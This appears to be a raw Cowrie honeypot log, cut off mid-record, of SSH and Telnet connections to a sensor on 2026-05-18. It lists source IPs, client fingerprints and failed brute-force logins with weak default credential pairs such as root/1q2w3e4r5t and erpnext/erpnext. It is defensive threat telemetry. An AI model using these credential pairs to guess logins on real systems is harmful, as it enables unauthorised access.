{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":49062,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ed39fe8fac","protocol":"ssh","message":"New connection: 45.153.34.97:49062 (10.17.0.5:22) [session: a9ed39fe8fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:09.788894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:09.801476Z","src_ip":"45.153.34.97","session":"a9ed39fe8fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:09.888379Z","src_ip":"45.153.34.97","session":"a9ed39fe8fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:10.499764Z","src_ip":"45.153.34.97","session":"a9ed39fe8fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.72.167","src_port":30061,"dst_ip":"10.17.0.5","dst_port":23,"session":"d236da9b5937","protocol":"telnet","message":"New connection: 84.54.72.167:30061 (10.17.0.5:23) [session: d236da9b5937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:11.256915Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:11.588601Z","src_ip":"45.153.34.97","session":"a9ed39fe8fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.72.167","src_port":30263,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ca38bd693e","protocol":"telnet","message":"New connection: 84.54.72.167:30263 (10.17.0.5:23) [session: 93ca38bd693e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:12.542574Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":46846,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea6d419d299","protocol":"ssh","message":"New connection: 45.153.34.97:46846 (10.17.0.5:22) [session: 4ea6d419d299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:14.371245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:14.380558Z","src_ip":"45.153.34.97","session":"4ea6d419d299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:14.473345Z","src_ip":"45.153.34.97","session":"4ea6d419d299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:14.880679Z","src_ip":"45.153.34.97","session":"4ea6d419d299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:15.976078Z","src_ip":"45.153.34.97","session":"4ea6d419d299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49196,"dst_ip":"10.17.0.5","dst_port":23,"session":"e327f8abc83d","protocol":"telnet","message":"New connection: 152.42.224.71:49196 (10.17.0.5:23) [session: e327f8abc83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:16.478206Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":46848,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cd82961bda8","protocol":"ssh","message":"New connection: 45.153.34.97:46848 (10.17.0.5:22) [session: 1cd82961bda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:18.585490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:18.598627Z","src_ip":"45.153.34.97","session":"1cd82961bda8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:18.675787Z","src_ip":"45.153.34.97","session":"1cd82961bda8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"p@ssw0rd","message":"login attempt [student/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:19.574571Z","src_ip":"45.153.34.97","session":"1cd82961bda8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49212,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4fb8763474b","protocol":"telnet","message":"New connection: 152.42.224.71:49212 (10.17.0.5:23) [session: f4fb8763474b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:20.129404Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:20.788136Z","src_ip":"45.153.34.97","session":"1cd82961bda8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":34932,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e9530508c86","protocol":"ssh","message":"New connection: 45.153.34.97:34932 (10.17.0.5:22) [session: 1e9530508c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:23.073260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:23.081111Z","src_ip":"45.153.34.97","session":"1e9530508c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:23.582460Z","src_ip":"45.153.34.97","session":"1e9530508c86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:24.172636Z","src_ip":"45.153.34.97","session":"1e9530508c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:25.726539Z","src_ip":"45.153.34.97","session":"1e9530508c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35660,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b127260edc1","protocol":"telnet","message":"New connection: 152.42.224.71:35660 (10.17.0.5:23) [session: 6b127260edc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:26.669525Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":34946,"dst_ip":"10.17.0.5","dst_port":22,"session":"047dbb00db5b","protocol":"ssh","message":"New connection: 45.153.34.97:34946 (10.17.0.5:22) [session: 047dbb00db5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:27.477542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:27.568554Z","src_ip":"45.153.34.97","session":"047dbb00db5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:28.176806Z","src_ip":"45.153.34.97","session":"047dbb00db5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hanene","message":"login attempt [root/hanene] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:28.475826Z","src_ip":"45.153.34.97","session":"047dbb00db5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":33964,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fb53e579a52","protocol":"ssh","message":"New connection: 192.169.250.238:33964 (10.17.0.5:22) [session: 7fb53e579a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:28.840415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:28.844281Z","src_ip":"192.169.250.238","session":"7fb53e579a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35662,"dst_ip":"10.17.0.5","dst_port":23,"session":"322e0d165d90","protocol":"telnet","message":"New connection: 152.42.224.71:35662 (10.17.0.5:23) [session: 322e0d165d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:28.874753Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:28.917178Z","src_ip":"192.169.250.238","session":"7fb53e579a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789","message":"login attempt [root/Aa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:29.242133Z","src_ip":"192.169.250.238","session":"7fb53e579a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:29.587267Z","src_ip":"45.153.34.97","session":"047dbb00db5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:30.318849Z","src_ip":"192.169.250.238","session":"7fb53e579a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.5040020942688,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:31.453305Z","src_ip":"152.42.224.71","session":"9ac24c8c7373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13244,"dst_ip":"10.17.0.5","dst_port":22,"session":"33868de9045e","protocol":"ssh","message":"New connection: 45.153.34.97:13244 (10.17.0.5:22) [session: 33868de9045e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:31.897326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:31.903087Z","src_ip":"45.153.34.97","session":"33868de9045e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:31.986558Z","src_ip":"45.153.34.97","session":"33868de9045e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:32.275682Z","src_ip":"45.153.34.97","session":"33868de9045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.92525339126587,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:32.692989Z","src_ip":"152.42.224.71","session":"33b308a823f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:33.375193Z","src_ip":"45.153.34.97","session":"33868de9045e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13256,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ecebc872636","protocol":"ssh","message":"New connection: 45.153.34.97:13256 (10.17.0.5:22) [session: 8ecebc872636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:36.216235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:36.308007Z","src_ip":"45.153.34.97","session":"8ecebc872636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256",